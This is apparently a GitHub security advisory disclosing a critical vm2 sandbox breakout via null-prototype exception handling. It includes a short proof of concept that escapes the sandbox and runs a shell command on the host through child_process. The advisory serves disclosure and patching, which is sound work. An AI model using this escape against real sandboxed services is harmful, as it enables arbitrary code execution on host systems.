Vulnerability from github – Published: 2026-05-08 16:20 – Updated: 2026-05-14 20:37

Summary

vm2 has Sandbox Breakout Through Null Proto Exception

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
    throw o;
} catch (e) {
    e.f = Buffer.prototype.inspect
    o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity

9.8 (Critical)
